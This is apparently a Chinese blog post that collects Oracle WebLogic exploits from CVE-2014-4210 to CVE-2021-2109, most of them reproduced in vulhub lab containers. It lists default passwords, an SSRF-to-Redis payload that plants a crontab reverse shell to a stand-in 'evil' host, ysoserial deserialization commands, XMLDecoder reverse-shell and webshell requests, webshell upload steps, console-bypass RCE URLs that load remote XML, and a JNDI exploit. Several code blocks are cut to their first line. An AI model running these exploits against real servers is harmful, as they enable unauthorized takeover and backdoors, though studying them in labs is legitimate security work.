WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVA EE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
基本信息
默认端口:7001 、7002
常见默认口令:
1 |
用户名:system 密码:password |
常见的Weblogic版本
1 |
WebLogic Server 14c(14.1.1.0.0)-2020年4月3日 |
SSRF(CVE-2014-4210)
漏洞描述:Oracle融合中间件10.0.2.0和10.3.6.0中Oracle WebLogic Server组件中未指定的漏洞允许远程攻击者通过与WLS-Web服务相关的向量影响机密性。
影响版本:10.0.2.0、10.3.6.0
SSRF漏洞测试
SSRF漏洞存在于 http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp, 我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80:
1 |
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1 |
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type。
修改为一个不存在的端口,将会返回could not connect over HTTP to server。
通过错误的不同,即可探测内网状态
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*
),发现172.28.0.2:6379可以连通
发送三条redis命令,将弹shell脚本写入/etc/crontab:
1 |
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n" |
进行URL编码
注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
成功反弹shell
任意文件读取漏洞
弱口令
环境启动后,访问http://your-ip:7001/console,即为weblogic后台。
本环境存在弱口令:
1 |
weblogic |
任意文件读取漏洞的利用
假设不存在弱口令,如何对weblogic进行渗透?
本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。那么,该漏洞如何利用?
读取后台用户密文与密钥文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。
SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:
解密密文
然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文(或者参考这篇文章:http://cb.drops.wiki/drops/tips-349.html ,自己编译一个解密的工具):
ps: 一开始bp的字体为宋体没解密成功,后面改为黑体解密成功了?
可见,解密后和我预设的密码一致,说明成功。
后台上传webshell
获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:
点击安装,选择“上载文件”:
上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/hello.war这个压缩包中,再上传。上传成功后点下一步。
填写应用名称:
继续一直下一步,最后点完成。
应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了/hello这个目录,所以你要在本测试环境下部署shell,需要修改这个目录,比如修改成/jspspy):
成功获取webshell:
CVE-2015-4852
漏洞描述:Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0和12.2.1.0中的WLS安全组件允许远程攻击者在与oracle_common/modules/com.bea.core.apache.commons.collections.jar.相关的T3协议流量中通过精心编制的序列化Java对象执行任意命令。注意:此CVE的范围仅限于WebLogicServer产品
影响版本:10.3.6.0、12.1.2.0、12.1.3.0和12.2.1.0
参考文章:WebLogic系列漏洞学习之T3:CVE-2015-4852
漏洞环境
Dockerfile
1 |
FROM vulhub/weblogic |
docker-compose.yml
1 |
version: '2' |
docker-compose up -d
漏洞复现
先生成反序列化文件
1 |
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "touch /tmp/success" > poc.ser |
T3利用脚本 exp.py
1 |
import binascii |
远程调试
搭建环境复现的时候我们已经对容器开去了远程调试服务,下面只需要对本地IDEA环境进行部署。
首先从容器拷贝root目录,然后单独将相关的jar包拷贝出来
1 |
docker cp 容器id:/root . |
将上述 jar_lib 和 root 放到本地,然后用 IDEA 打开 root/Oracle/Middleware/wlserver_10.3,File->project Structure 将jar_lib加入libraries
选择weblogic自带的jdk root/jdk/jdk1.6.0_45
添加远程JVM
在wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev:24行打断点
详细分析可看此文章 [WebLogic系列漏洞学习之T3:CVE-2015-4852]
tcpdump监听,然后运行脚本抓到了t3协议的流量。
1 |
tcpdump -i any -w dump.pcap |
传输了序列化对象,知道ac ed 00 05是Java中序列化对象的特点,过滤下,并追踪tcp流
hex转储下,存在序列化数据
CVE-2016-0638
由于CVE-2015-4852的修复是基于黑名单的,所以我们如果能找到一个对象,其可以在自己的readObject中创建自己的InputStream的对象,这个漏洞主要是找到了个黑名单之外的类”weblogic.jms.common.StreamMessageImpl
1 |
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { |
这个工具直接当做IDEA的工程打开即可,配置application参数
详情可看此文章:https://www.anquanke.com/post/id/224343
CVE-2016-3510
weblogic.corba.utils.MarshalledObject 绕过黑名单。这个类的构造方法接收一个Object类型的参数var1,然后将传入的Object参数序列化后转换为byte数组的形式赋值给this.objBytes。MarshalledObject的readResolve方法将this.objBytes反序列化,并执行其readObject。this.objBytes可以由MarshalledObject构造方法中传入的var参数控制
1 |
public MarshalledObject(Object var1) throws IOException { |
详情可看此文章:https://xz.aliyun.com/t/8529
CVE-2017-3248
CVE-2015-4852往后有一系列漏洞都是立足于对其补丁的绕过的,CVE-2017-3248也是其中之一。
WebLogic 使用这种黑名单的方式试图过滤掉危险的类的这种修复方式有一定的效果,但也存在被绕过的风险。根据学习,我了解到的绕过的思路有如下几种:一是找到可用且未在黑名单之内的新类(新类要能构造链实现任意代码执行),此时的payload为新的;二是找到一种类,这种类可以反序列化自身成员变量,此时可以封装旧的payload;三是找到未在黑名单之内的新反序列化点,此时可以发旧的payload。CVE-2016-3510和CVE-2016-0638主要是基于第二种思路, CVE-2017-3248 则是基于第三种思路,通过JRMP 协议达到执行任意反序列化 payload。
漏洞利用可以使用下面CVE-2018-2628的exp
详情可看此文章: https://www.anquanke.com/post/id/225137
CVE-2017-3506
漏洞利用:
工具:https://github.com/ianxtianxt/CVE-2017-3506
详情可看此文章:https://guokeya.github.io/post/TsCTC6Ohu/
补丁代码:
首先来看3506的补丁的分析,在文件 weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中,
添加了validate方法,方法的实现如下:
1 |
private void validate(InputStream is) { |
简单来说就是在解析xml的过程中,如果Element字段值为Object就抛出异常,这简直太脑残了,所以马上就有了CVE-2017-10271。
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
CVE-2017-10271与3506他们的漏洞原理是一样的,只不过10271绕过了3506的补丁,我们来看下补丁是怎么处理的。
图中红框内的代码是限制CVE-2017-3506漏洞利用的黑名单,这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。因此,在CVE-2017-10271漏洞爆发之后,Oracle官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了new,method,void,array等关键字进行漏洞修补,成功防御了CVE-2017-10271漏洞。
漏洞复现
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
1 |
POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
反弹shell:
写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):
1 |
POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
漏洞描述:Oracle融合中间件的Oracle WebLogic Server组件(子组件:WLS核心组件)中的漏洞。受影响的支持版本为10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3。容易攻击的漏洞允许未经身份验证的攻击者通过T3进行网络访问,从而危及Oracle WebLogic Server。成功攻击此漏洞可导致接管Oracle WebLogic Server。
影响版本:10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3
首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。
这里,换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload,即可绕过这个判断限制。
详情可看此文章:https://badcode.cc/2018/04/24/Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E-CVE-2018-2628-%E6%BC%AB%E8%B0%88/
漏洞复现
首先下载ysoserial,并启动一个JRMP Server:
1 |
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] |
其中,[command]
即为我想执行的命令,而[listen port]
是JRMP Server监听的端口。
然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001 ) 发送数据包:
1 |
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] |
其中,[victim ip]
和[victim port]
是目标weblogic的IP和端口,[path to ysoserial]
是本地ysoserial的路径,[JRMPListener ip]
和[JRMPListener port]
第一步中启动JRMP Server的IP地址和端口。[JRMPClient]
是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。
exploit.py执行完成后,执行docker-compose exec weblogic bash进入容器中,可见/tmp/success已成功创建。
官方放出了10271的补丁,补丁如下:
1 |
private void validate(InputStream is) { |
这个补丁限定了object,new,method,void,array等字段,就限定了不能生成java 实例。
WebLogic WLS核心组件反序列化漏洞(CVE-2018-2893)
漏洞利用
工具下载
详情可看 天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析
CVE-2018-3245
工具下载:https://github.com/pyn3rd/CVE-2018-3245
Weblogic JRMP反序列化及绕过分析
任意文件上传漏洞(CVE-2018-2894)
漏洞描述:Oracle融合中间件的Oracle WebLogic Server组件(子组件:WLS-Web服务)中的漏洞。受影响的支持版本是12.1.3.0、12.2.1.2和12.2.1.3。容易攻击的漏洞允许未经身份验证的攻击者通过HTTP进行网络访问,从而危及Oracle WebLogic Server。成功攻击此漏洞可导致接管Oracle WebLogic Server。CVSS3.0基础得分9.8(保密性、完整性和可用性影响)。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
影响版本:12.1.3.0、12.2.1.2和12.2.1.3
漏洞环境
执行如下命令,启动weblogic 12.2.1.3:
1 |
docker-compose up -d |
环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。
执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic。
登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项
漏洞复现
访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
然后点击安全 -> 增加,然后上传webshell:
上传后,查看返回的数据包,其中有时间戳:
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,即可执行webshell:
漏洞原理可看此文章:https://xz.aliyun.com/t/2458
CVE-2019-2725
漏洞分析:CVE-2019-2725 分析
详细的补丁如下:
1 |
private void validate(InputStream is) { |
CVE-2019-2729
详情可看此文章:cve-2019-2729挖掘思路 - cve-2019-2725 bypass
补丁:
Oracle选择使用白名单而不是黑名单。 通过新引入的validateFormat()函数来实现,其中白名单规则在WorkContextFormatInfo中定义 。
Weblogic远程代码执行漏洞(CVE-2020-2546)
漏洞描述:该漏洞通过T3协议实现利用、攻击者可通过此漏洞实现远程代码执行.
影响版本:WebLogic Server 10.3.6.0.0 、WebLogic Server 12.1.3.0.0
Weblogic IIOP反序列化漏洞(CVE-2020-2551)
管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本:
1 |
Oracle WeblogicServer 10.3.6.0.0 |
漏洞复现
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
1 |
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal |
访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:
1 |
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');") |
进入容器,可以发现touch /tmp/success1已成功执行:
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml:
1 |
|
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
1 |
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml") |
CVE-2021-2109
1 |
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 本地ip -p http监听端口 |
命令执行poc:
1 |
GET /console/css/%252e%252e%252f/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.124;13:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1 |
参考文章:
Weblogic相关漏洞
Weblogic 管理控制台未授权远程命令执行漏洞
从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事
Weblogic 反序列漏洞 CVE-2018-2628 漫谈
天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论